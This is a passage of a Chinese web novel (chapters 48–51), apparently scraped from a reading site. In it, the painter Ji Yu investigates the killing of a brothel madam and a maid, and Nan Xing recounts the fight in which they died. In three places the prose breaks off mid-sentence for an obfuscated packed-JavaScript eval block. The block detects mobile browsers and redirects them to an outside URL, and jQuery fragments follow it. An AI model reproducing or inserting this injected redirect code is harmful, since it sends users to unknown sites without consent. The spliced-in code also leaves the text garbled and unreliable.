“那小妤是今晚要宿在寻欢楼吗?”素娥嘴角扯了扯,想笑,却笑不出来。 虽然季妤在寻欢楼时是男子装扮,但寻欢楼的姑娘都是人精,第一眼看到季妤时便知道她是女儿身,只是不拆穿而已。 而正是因为季妤是女儿身,楼里的姑娘才对季妤不设防,平日里有什么委屈事都愿意说与季妤听,就像是好姐妹聊天一般。 季妤直勾勾地盯着她,终于,素娥败下阵来,脸上是没再掩饰的慌张和恐惧。 其实房里就两个人,她和季妤。但她还是如惊弓之鸟般谨慎地左右看了看,然后快步走到季妤面前,诉说着自己的害怕。 “小妤,我刚刚去三楼找柳妈妈谈赎身的事,突然在门口听到了什么动静,就靠在门上透过门缝往里看,我,我看到——” 素娥倒吸一口凉气,眼神变得恐惧起来,眼泪大颗大颗地滚了下来。 季妤拾了条新帕子给素娥擦着眼泪,诧异道:“你别怕,慢慢说。” 素娥微弯腰俯身凑到季妤耳边,低声道:“我看到柳妈妈她……死了。” 什么?! 季妤惊愕不已,扶住素娥摇摇欲坠的身子,问:“这是怎么回事?除了你,还有谁看到了?” “没有,就我一个人看到了,我吓得赶紧跑下楼去,在楼梯上还遇到了上来找柳妈妈的雪伶,我不想她看到柳妈妈的死状而害怕,导致更多人知道,到时候楼里势必会乱成一锅粥,于是就骗她说柳妈妈出去了,不在房内。” “雪伶信了吗?” 素娥点头,轻声“嗯”了一句。 季妤拧着眉,握住素娥的肩,一脸凝重道:“素娥,你可有看清,是谁杀了柳妈妈?” 素娥仔细地回想了一下,眼里闪过一丝茫然和不确定:“我有看到一个背影翻窗出去了,看身形是个高瘦的男子!但是,我不敢肯定那人就是杀害柳妈妈的人。” 高瘦的男子?季妤沉思。 突然双手被紧紧抓住,紧接着是素娥焦虑且慌张的语气:“小妤,你说该怎么办,柳妈妈死了,要不要报官。” 手腕上传来一阵痛,季妤微微皱起了眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160476|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,素娥下意识抓得太紧了,导致没控制住力道。 等听到季妤的抽气声后,素娥才反应过来,一脸自责:“小妤,对不起,我,我太害怕了,一时之间没控制好力气……” “没事没事。”季妤忍着手腕上的疼,抽出手轻轻拍了一下素娥的手背,“素娥,你先待在这里,若是有人来,你就说我正在给你作画,让她不要进来。我亲自去三楼看看情况。” 素娥担心道:“小妤,你还是别去了,万一被人看到你出现在柳妈妈房里,你会被怀疑的。” 反正怀疑过一次了,她还蹲过大牢呢,还有什么好怕的,季妤虽这般想着,但毕竟不好说出来吓到素娥,便只安慰道:“放心,若是有人来,我肯定会躲好的,保证不会让人发现。倒是你,你得让人知道,这段时间一直都是你和我待在一起的,这样官差来审案的时候,我才能有不在场证明。” 素娥深吸一口气,平复了一下心情,“好,那你小心些。” 季妤郑重点头,背好随身挎的小布包,打开门左右看了几下,在确定没人发现她时,快速地朝着三楼走去。 小心谨慎地到了三楼,找到了柳棠的屋子,屋子没有锁,一推就开,先闯入视线的是一块画着美人图的大屏风,这是她刚拿下寻欢楼画师身份的证明。这块屏风把楼里的姑娘包括柳棠都画了进去,当时柳棠特别满意,破格招用了她这么个年纪轻轻的“小子”。 穿过屏风就到了里间,季妤抬眼间,猛地看到一大摊血迹,血迹就像一个小湖泊,有左右两个支流,而两个支流的源头,分别是柳棠,还有一个,她没见过的少女…… 柳棠胸口中箭,血从胸口汩汩而流,少女左胸口染红一片,也有血流淌而下,两股血分成两个支流,汇集到一处,竟形成了圆桌般大的一滩血。 看到此情此景,季妤震惊得头皮发麻,心脏遏制不住地狂跳,一双腿就好像灌了铅一样,沉重且僵硬,让她挪动不了分毫。 季妤倒吸一口凉气,深呼吸了好几下,她强迫自己镇定下来,等到脚恢复知觉能动后,才敢上前去,先给离她近的柳棠检查。 左胸口中了一箭,直接贯穿心脏,这是导致柳棠死的致命一击,除了这个,其它地方完好无损,季妤陷入沉思。 时间紧迫,季妤稳了稳心态,又跑到少女面前蹲下。 少女大概十二三岁,模样清秀,左胸口有一道伤口,看到伤口处奇特的刀法,季妤拧着眉,她想到了之前去北市买蛇胆时进去的那家周记药铺,当时那个许大夫就是拿着一些工具准备取她心头血,而那些工具季妤有仔细观察过,工具和刀口几乎吻合。 季妤只觉脊背发凉,手指忍不住地攥紧。 许大夫已经被薛五关在镖局,有薛五看管,许大夫不可能再出来取人心头血害人性命,那么会是谁? 为什么柳棠的房内有一个已经被取了心头血而死去的少女? 季妤站了起来,她环顾了一下四周,除了窗子大开以外,屋内的布置有些凌乱,比如屏风,屏风歪了,这个屏风很大,也很重,女子轻易搬不动,现在却移位了,地上擦出一条痕迹。 还有书架上的书,有几本跌落到地面,桌上铺的桌布,有些凌乱,按照柳棠一丝不苟的性格,她不会容忍桌布皱成一团。 说明,屋内曾发生打斗! 且很有可能是个男人! 季妤走到屏风处仔细地看了看,突然,她看到角落里有一个东西,小小的一个,静静地躺在那。 季妤蹲下伸手去拿,等看到是什么后,她身子一僵,手忍不住地颤抖起来。 竹哨…… 49. 第 49 章 季妤面无表情地将竹哨捡起放入布包,然后将现场画面仔仔细细地看了好几遍,最后再悄无声息地离开了。 一回到房内,季妤便被素娥一把拉住,担心地问:“你怎么样,有没有被人发现?” 季妤压低声音道:“进去说。” 将门合上,季妤拉着素娥来到屏风后,看到素娥一脸担忧的样子,季妤回以一笑,故作轻松道:“放心,我很谨慎的,应该没人看到我。” 见季妤这般说,素娥稍稍放心,但还是紧张地再问:“柳妈妈她……” 季妤面色沉重地看着素娥,在素娥的目光中点了点头,艰涩开口:“柳妈妈她,确实死了。” 素娥一听,眼眶蓄满了泪。虽然在亲眼看到时就已经基本确定柳妈妈死了,但她仍旧心存侥幸,万一那根箭没有射中心的位置,而是偏离了一点点,那么柳妈妈就很有可能没有死。 可现在听到季妤肯定的话,素娥虽然很不想相信,却是不得不信,柳妈妈真的死了。 素娥忍不住掩面哭了起来,季妤心里也十分难受。 柳妈妈虽然是青楼老鸨,但是对待楼里的姑娘们都很好,不会强迫她们接客,卖艺或者是卖身,全凭姑娘们决定,若是想赎身,攒够银两就行,对比其它青楼,寻芳楼算是不可多得的好去处。 虽然季妤与柳棠相处不多,但仅有的几次相处和接触,季妤知道柳棠是个温柔的女人,否则她当初毛遂自荐要来寻欢楼做画师,换做别的青楼,恐怕还没等她施展画技,老鸨看她年纪小,直接以面取人让她滚蛋了。 对于能进寻欢楼当画师,季妤很感激柳棠。她在寻欢楼赚到了钱,认识了很多又漂亮又人好的姑娘,而且她还能在这里吃到桃花酥还有美酒…… 可现在事发如此突然,明明才不久还见过的人,现在就这么死了,季妤真的是无法接受,也难以相信。 见素娥哭得伤心,季妤忍住眼泪不往下掉,轻轻地拍了拍她的肩膀:“别哭了。” 肩膀上传来重量,是素娥将头靠在了她的肩,耳边传来低低地哭泣声:“小妤,你说我都已经攒好了赎身的钱了,就等着花魁大赛之后离开寻欢楼,可现在柳妈妈死了,我这赎身的事可怎么办?我爹娘还等着我回家呢……” 素娥赎身一事准备了很久,季妤是知道的。 素娥十岁时被人贩子拐了,辗转各处,先是被卖到一户人家做丫鬟,后来主人家家道中落,遣散府中丫鬟婆子,她因长得漂亮标致,被一有钱人家的老爷看上了,想要把她买回去当小妾。 那老爷大腹便便,年纪比素娥亲爹还要大上几岁,听说已经死了好几个老婆了,小素娥害怕不已,与其被那老爷折磨而死,倒不如一根绳子吊死了干净,就在小素娥决定晚上偷偷上吊的时候,被前来挑选姑娘的柳棠看上了。 小素娥被柳棠买回去了,成了寻欢楼里的一员,今年素娥十七岁,在寻欢楼也待了快五年了,若不是她亲生爹娘找到了她,她可能会一直待在寻欢楼里。 寻欢楼很好,但她更想家,想爹娘。 “既是柳妈妈先前答应了你交了赎身钱就放你走,那么柳妈妈除了口头上允诺过,可有什么别的能证明?比如亲笔写下的文字?”季妤这般问,素娥皱着眉仔细想了想。 季妤只觉肩膀一松,那本靠在她肩膀处的头已经离开了,素娥抬起了头正看着她。 “好像没有,她只口上说过,她的为人我们都很清楚,向来是说话算话的,我们都很信任她,而且先前也有好几个姑娘是成功赎了身出去了的。” “这样啊……”季妤微微思考了一下,见素娥还是一脸愁容,便道:“没事,既然你赎身的钱都攒够了,到时候找官府要赎身文书就行,你如实说明情况,他们不会为难你一个女子的。” 听到季妤这样说,素娥安心了些,她擦了擦眼泪,在软榻上坐了下来,有些迷茫地看着季妤道:“现在恐怕只有你我二人知道柳妈妈死了,我们要怎么办?要不要去报官?” 明明季妤比她还要小上一岁多,但不知为何,素娥总是觉得季妤会有办法,是个能靠得住的人。 季妤抿了抿唇,手指在布包上摩挲着,摸到了竹哨的形状,柳棠屋中的景象还历历在目,深深地刻在脑子里,只要一闭眼,就能看到那幅画面。 季妤走到书案前,将画纸铺开,毛笔沾上墨水,提笔落在纸上,不多时,一张简单的水墨美人脸印在画纸上,季妤拿着画纸走到素娥面前,问:“这人你可有印象?” 素娥接过画像仔细地看了看,虽寥寥几笔,但勾勒出了人物形态和特征,一看便知道是谁,忙点头应道:“有些印象,是柳妈妈前不久在人市买来的小丫头,叫小芙。模样清秀,嘴甜人也乖,目前正是在雪伶那服侍。” 一般寻欢楼买来的小丫头,因为年岁尚小,还接不了客,便会让她们先给姑娘们做丫鬟,学学规矩什么的,等及笄后就可以开始接客了,这些季妤有在素娥她们闲聊时听到过。 “你怎么画起她来了?”素娥诧异问。 季妤拧着眉,道:“柳妈妈房里,这个小丫头也在,而且,也死了。” “什么?!”素娥震惊得眼睛瞪得老大,“我没有在柳妈妈房里看到她,她怎么会……” “她趟的地方正好被屏风挡住了,所以你从门口往里看是看不到她的。”季妤解释道,从素娥手里接过画像,又仔细地看了看。 素娥恐惧地捂着嘴,猜测道:“所以,是那个男人杀了柳妈妈还杀了小芙吗?” 素娥这样问,季妤想到了小芙左胸口的伤口形状,对着素娥摇了摇头,“恐怕不是一个人杀的。” “什么!难道还有两个凶手?”素娥惊恐地缩在软榻上,身子忍不住地颤抖起来,“那我们是不是很危险,我们会不会也像柳妈妈一样,被人杀死?” “别胡思乱想。”季妤安慰道,“先报官吧,等官府调查,有官府介入,寻欢楼也会安全些,这样那个凶手应该不敢再来。” “那谁去报官?”素娥愣愣地看着季妤。 季妤默默叹了口气,道:“我去吧。” 右手被紧紧攥住,季妤看到素娥双眼通红:“小妤,谢谢你,我是第一个发现的,我又比你年长,按理说该我去报官的,可是……” “我实在害怕,现在腿都是软的……” 季妤摸了摸素娥苍白的脸,这个才十七岁的女孩,比在现实世界里的她还要小四岁呢,算起来,自己才是比素娥年长的那个,遇上这种事,理应她冲在前面。 季妤微微一笑道:“你先回你的房间,好好休息一晚,不要多想,若是实在害怕,便去找梅蕊、雪伶她们,姐妹们在一处,就没那么害怕了。” 素娥乖乖地点头“嗯”了一声,目送着季妤离开屋子。 …… 这边季妤出了寻欢楼便直奔府衙,虽然以现在的时辰,陈远估计已经在梦乡了,不过事关人命,季妤还是要去敲鼓,把陈远从睡梦中扯出来。 大祁朝宵禁时间很晚,按现代说法,就是一直到二十四点,所以季妤走到街上时,还有不少摊贩没有收摊,行人虽然不多,但也不至于一个人都没有,离寻欢楼越远,倒是就越冷清。 季妤几乎是拿出了当初跑八百米的实力飞奔在大街上,天色较黑,古代又没有电灯,灯笼的光亮不足以让季妤观察到前方十几米处的人和事物,于是等她看到一个人影走在她的正前方时,她已经来不及转弯,更来不及刹车了,直直地撞了上去。 “砰——”一声巨响,季妤和那人相撞,她被直接甩了出去,左手臂狠狠地磕在了地面上,本就受了伤,现在更是严重,火辣辣的疼痛感从手臂上开始,到席卷全身,疼得季妤还没哭,眼泪就先掉了下来。 “艹,好痛——” 季妤皱着脸捂着左手臂,衣服都给擦烂了,掀开布料借着朦胧的月光一看,手臂上原本的伤口裂开,血肉模糊一片,看着狰狞恐怖又血淋淋的,季妤忍不住倒吸一口凉气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169076|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好严重,不好好处理感染了的话,估计要截肢了! “季姑娘,是不是你?!” 南星? 季妤猛地朝前方看去,那个刚才与她相撞的人,此刻也跌倒在地,整个人后背靠在墙面上,挣扎着要起来。 见她没有回应,他又叫了一遍:“季姑娘,你没事吧,是不是撞疼你了!” 语气焦急又充满担心。 季妤抿着唇沉默了一会儿,看着他从地上爬起来,脚步踉跄着朝她这边走过来,季妤就这么看着,眉头却是皱得仿佛能夹死一只苍蝇。 南星脚步不稳,不算远的距离,走得跌跌撞撞,好像小孩子学走路。 ——他这是怎么了?难道这一撞,把他撞出脑震荡了? 眼看着南星越走越偏,季妤忍不住出声喊道:“我在这儿。” 听到声音,南星仿佛确定了方向,等南星已经走到她的面前蹲下后,季妤才看到他的眼睛不对劲。 他皱着眉头,紧闭着双眼,睫毛颤抖得很快,在碰到她的肩膀时,眼皮剧烈地动了几下,然后眼睛睁开了一条缝隙。 正常人睁眼闭眼都是轻轻松松的,怎么他睁开眼好像废了很大劲似的。 季妤奇怪地盯着南星的眼睛,直到南星眼睛睁开一半后,季妤才在月光的映照下看到了他的眼睛通红一片,红得不正常。 季妤吓了一跳,下意识地问:“你蛊毒又发作了?” 还没到十五月圆之日,怎么还会发作? 南星手在准确碰到季妤的肩,确定人就在自己面前后,就将手往上抬了抬,只虚虚地碰着衣服,不敢直接触碰身体。他听到季妤这般问,认真回她:“不是蛊毒。” 季妤诧异道:“那你眼睛怎么回事?” “不小心被人撒了药粉,眼睛看不见了。”南星平静且简短地回道,后想到季妤被他撞出去好远,不由担心地再次问,“季姑娘,你有没有受伤?!” 这一问,仿佛才想起来自己左手臂还疼得厉害,疼痛瞬间卷土重来,才止住的眼泪又簌簌往下掉,季妤托着受伤的胳膊,眉毛拧成川字形,郁闷道:“我手臂伤口裂开了,疼死了。” 南星一听,紧张地努力睁开眼睛去看季妤,其实睁开也看不见,而且眼睛闭着还好受些,但他一听到季妤说疼,他就什么都顾不上了,只想要亲眼看到她的伤势,他才能够放心。 看到南星努力睁开眼睛的样子,季妤脸色有些复杂,她想到那个在柳棠屋里捡到的竹哨,压下心中的猜测,平静地问:“你的竹哨还在身上吗?” 南星一愣,似是没想到季妤会突然问他竹哨的事,他愣了一会儿,赶紧在身上翻找起来,全身上下找遍了,愣是没找到。 “在我这。” 季妤这话一出,南星脸上闪过一丝茫然和惊讶,虽然眼中血红一片,但季妤就是能从他眼中看出这些情绪。 她从布包拿出竹哨,递到南星手中,平静道:“你看看是不是你的那个?” 南星乖乖地接过,摩挲了一遍,点头:“嗯,是我的。” 季妤心中冷笑,果然是他的。 她还心存侥幸过,或许这个竹哨只是长得与他的那个相似而已,柳棠怎么可能是他杀的,柳棠和他无冤无仇,他没道理杀她,系统三七不是说了吗?他不杀无辜之人和妇孺。 现在看来,说不定就是他杀的,他可是恶毒男配,后面直接杀光了一整个村子的人,这种人又怎么可能会遵循什么不杀无辜之人、不杀妇孺这样的道德底线。 “我在柳妈妈房内找到的。”季妤继续说着,眼睛紧紧地盯着南星,看他的反应。因为他重新闭上了眼,她感受不到他的视线,所以她能很轻松地一直盯着他的脸看,看得久了,竟然还看出神了,季妤狠狠地唾弃了自己一把。 明显感受到了季妤语气里的冷淡,南星有些无措地攥紧手指,他面朝季妤那边,睫毛剧烈颤动,眼睛睁开了一点,声音也有些颤抖:“你认为是我杀的她?” 50. 第 50 章 “季姑娘认为是我杀的她吗?” 见她不说话,南星颤抖着声音又问了一遍。 他是双手沾满鲜血,但从未在她面前暴露,她有何道理怀疑是他杀的柳棠,仅仅是因为这个竹哨出现在柳棠屋中? 季妤抬头看着南星,面色复杂,与其在内心反复纠结他有没有杀人,反正人都已经在面前了,不如直接问他。 若是他亲口承认他杀了柳棠,那么她将亲自斩断对他产生的那点心思,从此以后二人只当作是陌生人,互不干扰。如果另有隐情,那么她将好好跟他道歉,是她先入为主认为他是恶毒男配就恶意猜测他。 “你杀了她吗?”季妤语气平静,内心却很是忐忑,她怕她接下来听到的话不是她想听到的。 “不是我,是那人身边武功很高的人杀的。” 南星这话一出,季妤莫名地松了口气,不是他就好。 那个人应该是蓝汐身边的江佑,江佑确实武功高强,在原书里,几乎能和南星打个平手,也正因为如此,苏念可想要害蓝汐,没那么容易。 不过江佑不是那种穷凶极恶之人,毕竟是女主蓝汐身边的人,都是正面人物,他何至于要杀柳棠?柳棠与他有什么恩怨? 季妤只觉得谜团越大,越复杂了,她迫切的想要知道这一切。 “季姑娘,你相信我说的吗?”南星认真问。 季妤一愣,还没从思绪中抽离,便下意识回道:“你会骗我吗?” 现在是换成南星愣住了,他不会骗她。但他又确实有一事骗了她,他隐瞒了真实身份,用别人的身份和她相处了一个月。 南星沉默着,内心在纠结要不要和季妤坦白自己的身份。 见南星没有回答她的话,季妤心里咯噔了一下,“你没杀柳棠该不会是骗我的吧!” “这件事没有骗你。”南星连忙反驳。 季妤眉毛一挑,追问:“这件事没有骗我,那还有哪件事是骗我的?” 即使是看不见季妤的脸,但南星还是能感受到那灼灼的视线紧紧地盯着他,他紧张地将脸偏了偏,躲避着灼热的目光。 心虚地回道:“有一事确实是骗了姑娘,这是在下的错其实……”南星停顿了一下,似乎在斟酌词句,半晌后方才再次开口,“我不叫祁钰,我叫南星。” 将自己的名字说了出来,南星一边忐忑地等待季妤的反应,一边心里松了口气,好歹说出来了。 这件事季妤已经知道了,等南星说出来后就没那么惊讶,所以在南星看不见季妤的反应,又没有听到什么后,不禁紧张起来,他小心翼翼地问:“季姑娘,你会不会因此讨厌我……” 季妤认真的思考了一下这个问题,讨厌他么?好像并没有,虽然捡的不是三皇子祁钰,但最后的结果也不算坏,她得了南星给的七百两银子外加苏念可给的五百两银子,这样算来,她救了南星,好像没吃亏,反而得了好处,而且,他长得好帅…… 想到这,季妤目光又重新回到了南星的脸上,看了好一会儿,最后诚实道:“我不讨厌你。” 南星开心地笑了起来,嘴角两边的梨涡若隐若现,如果他的眼睛此时是睁开的,里面会是什么样的情绪呢?季妤心想。 对了,他的眼睛…… “你的眼睛到底是怎么回事?”季妤严肃地问。 “此事说来话长,季姑娘,还是先处理一下你手臂上的伤吧。”南星担心道。 虽然心里非常迫切地想要知道到底在寻欢楼里他发生了什么,江佑为什么要杀柳棠,小芙又是怎么被取心头血而死的,但现在她的手臂才是至关重要的事,她的手臂确实疼得厉害,再不赶紧处理,恐怕就真的要坏死了。 可是现在那么晚了,医馆药铺都关门了,她的济世堂离这里也有段距离,要怎么处理她的伤口? 正苦恼时,耳边传来清脆的声响,季妤看过去,发现南星将藏在衣服里的小瓷瓶都拿了出来,里面装着各种药粉,是她送给他的。 “季姑娘,你快看看哪些药是治疗你手臂上的伤的。”南星看不见瓷瓶上的标注,他不通医术,自然也不能靠闻气味辨别药的功效,便只得焦急地喊她过来亲自挑选。 季妤凑了过去,仔细地从一堆小小的瓶瓶罐罐里挑出治外伤止血愈合的药,挑完后对南星道:“挑好了。” 听到季妤挑好药了,南星又将瓶瓶罐罐的药重新地放回衣服里,一瓶一罐都没落下,很珍视的样子。 季妤给自己上药时,南星便安安静静地坐在她旁边,两个人皆是席地而坐,算是一点包袱都没有。 季妤相信自己制药的手艺,她制的药涂上后,疼痛直接减半,效果非常好,等药都涂完了,再扯下衣摆处的布条简单地包扎了一下伤口,等全部弄好后,已经几乎是感受不到疼痛了。 季妤舒了口气,扭头看着一旁安安静静的南星,即使是坐着,他仍然比她高出许多,所以她这个视角去看他,第一眼看到的是流畅清晰的下颌线,再往下是修长的脖颈,凸起的喉结…… 咳咳,季妤轻轻晃了晃脑子里不该有的危险想法,等脑子里的杂念清除了,她才朝南星开口:“你把头扭过来,我给你眼睛上药。” 南星乖乖地把头扭过来,脸面对着季妤,看着比她高了一个半头的南星,季妤只好从地上爬起来,半弯着腰凑近南星的脸,拿着药粉,一只手轻轻掀起他的左眼皮,将药粉一点一点撒入。 “疼吗?”季妤问。 “不疼。”南星答。 微凉的指尖落在眼皮上,像雨滴落在皮肤上,轻柔的,凉凉的,痒痒的,南星紧张得双手扣着地面,直到季妤把另一只眼睛也上好药后,他才将手从地面剥离。 微凉的触感消失后,南星心里陡然升起一抹失落,直到耳边传来清亮的嗓音:“半个时辰内不要睁开眼睛。” 南星心情好转些,乖乖地点头应道:“嗯。” 季妤将剩下的药放回布包里,站起身后低头看着南星道:“现在可以告诉我到底发生什么事了吧?” 两人寻了一处还没收摊的茶摊坐下后,季妤便看着南星,等着他将事情说与她听。 …… 一个时辰前,寻欢楼。 南星从季妤那翻窗出去后,心情不好,便来到屋顶一个人孤独地看烟花,突然他看到一个身影进了柳棠的屋子,那人正是因为发现了南星跟踪他和蓝汐,所以便追着南星追到了三楼。 南星犹豫了一会儿也跟了上去,等他进了屋后,正好看到江佑拿刀挥向柳棠,来不及思考,几乎是下意识地,南星便上前一脚踹掉了那人的刀。 江佑很是诧异地看了南星一眼,似乎没有料到南星会主动出现在他面前,毕竟他是追着南星才追到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177078|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了三楼。 南星冷着脸质问:“你为何要杀她?” 江佑怒气冲冲地冲南星吼道:“她在害人性命,我不过是为民除害罢了!” 害人性命?南星一愣,视线从江佑脸上转移到柳棠身上,在看到她身下躺着个浑身是血的小女孩时,瞳孔剧缩,不可置信地看着柳棠:“你……” 柳棠情绪有些崩溃,慌忙地将手中的血往衣服上擦,血太多了,怎么擦都擦不干净,她哭喊道:“我根本就没想小芙死,是他突然闯了进来,我被吓了一跳,手抖了一下,刀刺在小芙胸口,所以她才死的,都是因为他!” 柳棠怒吼着指向江佑,仿佛他才是杀死小芙的罪魁祸首。 江佑冷笑一声,义正言辞道:“少为自己脱罪,你这十年来为了取心头血杀死了多少无辜少女,你以为你把尸体藏在地洞里就没人会发现吗?今日被我亲眼撞见你杀人,那你便不能活了!” 说罢,将被南星踹落在地上的刀重新捡起,握着刀柄欺身上前朝柳棠砍去,南星仍旧犹豫了一瞬,在刀就要落在柳棠头上时,上前与江佑扭打在一处。 二人打得不可开交,回回下来都是平手。 柳棠颓然地跌坐在地上,耳边传来二人的打斗声,她呆呆地望着因为她失手而杀了的小芙,眼泪像是不会干涸的河流,流不尽似的滴在小芙清秀的脸庞。 柳棠愧疚哭道:“小芙,我只是要取你一点点心头血而已,我现在手法很好,不会让你死去的,可为什么偏偏有人来打搅,让我受惊失了分寸,害你白白丢了性命……” 南星听到柳棠的话,心下陡然一惊,柳棠取心头血,为何? 靖王取心头血是为了复活靖王妃,柳棠取心头血是为了复活谁? 这一分神,便被江佑找到了突破口,他快速从腰间取下一锦囊,打开后朝南星一扬,细密的药粉在南星毫无防备之际,尽数落入他的眼中,南星只觉眼中一阵刺痛,竟是睁不开眼了。 江佑的刀已经被南星夺了过来握在手心,江佑欲夺回,却被南星屡屡躲过,江佑气急,从后背取出弓箭和箭矢,拉弓,将箭对准南星左胸口,箭射了出去,千钧一发之际,柳棠看到了,她慌忙上前挡在南星身前。 “噗哧——”一声,是箭没入皮肉的声音,南星伸手接住瘫软倒地的柳棠,指尖微微颤抖。 箭矢没入心脏,已经没救了,江佑杀了想杀的人,南星又中了他的药粉,若是两个时辰内没有敷上解药,眼睛就会彻底瞎掉,他不杀无辜之人,便没再管南星,径直捡起刀翻窗跑了。 “阿星,我知道你是阿星……”柳棠靠在南星的怀里,虚弱地开口唤着南星。 南星心情复杂地看着柳棠,他的眼睛很痛,睁不开眼,自然也看不见柳棠满是愧疚的脸。 “阿星,是我和我妹妹对不起你阿娘。那晚我妹妹其实是想开门让你阿娘进来的,可是我害怕放你阿娘进来,会连累我和我妹妹,所以便阻止了我妹妹不让她开门,导致你阿娘被官差活活打死,还让幼小的你亲眼看到自己阿娘被人打死在眼前……阿星,棠姨对不起你……” 南星眼睛红了一片,有泪从脸颊无声滑过,滴落在了柳棠的手背,柳棠仿佛被烫到了一样,手下意识地瑟缩了一下,眼睛有片刻失神,眼神逐渐涣散时,她撑着最后一口气对南星说:“阿星,我知道复活你娘的办法……” 51. 第 51 章 季妤艰难开口:“所以,是柳棠失手杀了小芙?” 南星闷闷地嗯了一声。 季妤沉默了半晌,视线落在南星脸上看了许久,踌躇了好一会儿,终是忍不住开口问:“柳棠取心头血是为了复活你娘吗?” 南星眼睫轻轻颤了一下,季妤看得很清楚,待看到南星点头,她只觉得荒谬。 一个死了有十年的人,恐怕早已成白骨一堆了,怎么可能复活?这不扯淡吗? 如此荒唐的事,到底柳棠是怎么说服自己相信的? 还有取心头血,如果她没记错的话,她在她娘手札中有看到过一点点的记载。 这是南疆苗族一个失传已久的邪术,传闻取人心头血以喂蛊虫炼蛊,待蛊虫长大成熟后,将蛊虫植入要复活的人的体内,人就能起死回生。 暂且不论是不是真的能复活,关键在于,南星的娘已经死十年了,埋在地下十年了诶,成白骨一堆了还能复活的话,那这个小说世界不得了,这邪术比大罗神仙还管用,毕竟她以前看过的仙侠文里,神仙或者是魔尊要复活死人都不是一件容易的事,更何况还是死了十年的死人。 “季姑娘——”一直沉默着的南星,突然开口,语气低沉,“人,真的能死而复生吗?” 这话似是问季妤,却也像是在问自己。 季妤眉心一跳,她是绝对不信的,只是他,季妤反问他:“你信吗?” 南星又沉默了,季妤也不再追问,拿起茶碗抿了一口茶,只静静地看着他。 原书中并没有写关于南星阿娘以及南星小时候发生的事,毕竟他只是个戏份不算多的恶毒男配,作者不会在他身上着重笔墨去描写他的身世。 书中也只寥寥几笔带过他是孤儿这件事,所以当季妤听到南星复述柳棠对他说的那番愧疚的话时,她才知道南星的身世竟是这样。 他亲眼看着阿娘在自己眼前被官差活活打死了,这对于一个小孩子来说得是多残忍的事,想到这,季妤都有些怜爱他了。 或许,南星内心是希望有邪术能够复活他阿娘的吧,所以他该是相信的,否则他不会沉默不语。 “二位,要收摊了。” 茶摊摊主适时开口,打破了这沉闷的气氛。 付了钱,两人起身,因着南星眼睛看不见,季妤便主动去搀扶他。 两人走了一段路,南星突然开口:“季姑娘,你不是要去府衙报官吗?” 季妤犹豫道:“那你……” 南星轻笑道:“我与你一起去。” …… 陈远睡梦中被人强行叫醒,等看到报案人是季妤后,满腔的怒气瞬间消失了。 那日之所以将季妤打入大牢,完全是和苏念可做戏,目的就是要引出拥有千云册之人出现,至于季妤,即使是逃狱了,也不是什么大事,季妤能从牢里轻易的出来,想必其中是苏念可的授意,所以,季妤真的是苏念可的人,他不敢轻易得罪。 “季姑娘深夜敲鼓所谓何事?”陈远问完后,怪异地看了一眼被季妤搀扶着的高瘦少年,此人虽双目紧闭,但面无表情,浑身散发着生人勿近的冷冽气息,仿佛除了季妤能近他身,其余人若胆敢走近,他能瞬间了结此人。 想到此处,陈远忙将视线收回,转而看向季妤,季姑娘面像看着就柔和许多,不那么怕人。 季妤见陈远看到自己出现在他面前丝毫不意外,说明他确实是和苏念可做戏,并不是真的要关她牢房。 所以等苏念可等到了要找的人出现后,她其实是能安然无恙的从牢房内出来的,前提是如果没有黄全这个变故的话。 “深夜打搅陈大人美梦,真是不好意思,实在是有重要事要告知。寻欢楼的柳妈妈今夜被人给杀害了,如今尸首还躺在她屋中。杀害她的人我不确定还在不在寻欢楼里,还需大人速速派人去搜查才是。”季妤一口气挑简要的事情说完后,便看到陈远脸色瞬间变了。 她又补充了一句:“对了,柳妈妈房内还有一个叫小芙的小丫头也死了。” 季妤盯着陈远,继续道:“似乎是被人生生取了心头血。” 陈远表情巨变,本来在听到柳棠死了,脸色只是微微的难看,还带着一点儿诧异,似乎对于柳棠的死很是意外。 这也没什么,一个好端端的人突然死了,稍微认识她的人,的确第一反应是惊讶和感到意外。 只是在听到柳棠屋里还有个小丫头被取了心头血而死后,陈远难看的表情里分明蕴藏了几分不易被人察觉的的心虚和慌张,他为何要心虚,又为何慌张? 这倒是奇怪了。 “竟然发生了这等骇人之事,季姑娘是亲眼看见有人杀害了柳棠?” “并未亲眼看见,是当时有事找柳妈妈,便独自上三楼找她,后来在门口听到打斗声,透过门缝看到柳妈妈倒在地上,一个男人身影翻窗而出。”季妤将素娥看到的改成她看到的说给陈远。 “如今寻欢楼情况如何?”陈远问,语气隐隐有些急切。 